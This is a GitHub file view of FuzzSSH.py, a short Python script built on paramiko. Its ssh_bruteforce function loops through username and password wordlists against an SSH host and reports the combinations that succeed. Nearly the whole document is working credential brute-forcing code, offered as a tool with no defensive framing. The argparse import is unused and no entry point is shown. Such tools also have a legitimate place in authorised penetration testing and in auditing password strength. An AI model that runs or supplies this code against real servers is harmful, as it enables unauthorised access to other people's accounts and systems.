Repository navigation
Expand file tree
/
Copy pathFuzzSSH.py
More file actions
executable file
·64 lines (55 loc) · 2.47 KB
/
Copy pathFuzzSSH.py
File metadata and controls
executable file
·64 lines (55 loc) · 2.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import os
import argparse
import paramiko
def ssh_bruteforce(host, port, userfile, passfile, user=None, password=None):
print(userfile, passfile, user, password)
try:
if passfile and user:
with open(passfile, 'r') as f:
passwords = f.readlines()
for password in passwords:
password = password.strip()
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port, user, password)
print(f'\033[92m [+]\033[0m {user} : ', password)
break
except paramiko.AuthenticationException:
print(f'\033[91m [-]\033[0m {user} : ', password)
elif userfile and password:
with open(userfile, 'r') as f:
users = f.readlines()
for user in users:
user = user.strip()
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port, user, password)
print(f'\033[92m [+]\033[0m {user} : ', password)
break
except paramiko.AuthenticationException:
print(f'\033[91m [-]\033[0m {user} : ', password)
elif userfile and passfile:
with open(userfile, 'r') as f:
users = f.readlines()
with open(passfile, 'r') as f:
passwords = f.readlines()
for user in users:
user = user.strip()
for password in passwords:
password = password.strip()
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port, user, password)
print(f'\033[92m [+]\033[0m {user} : ', password)
break
except paramiko.AuthenticationException:
print(f'\033[91m [-]\033[0m {user} : ', password)
else:
print('\033[91m [-]\033[0m Please provide both username and password files')
exit(1)
except KeyboardInterrupt:
print('\033[91m [-]\033[0m Detecting Keyboard Interrupt...Exiting...')
exit(1)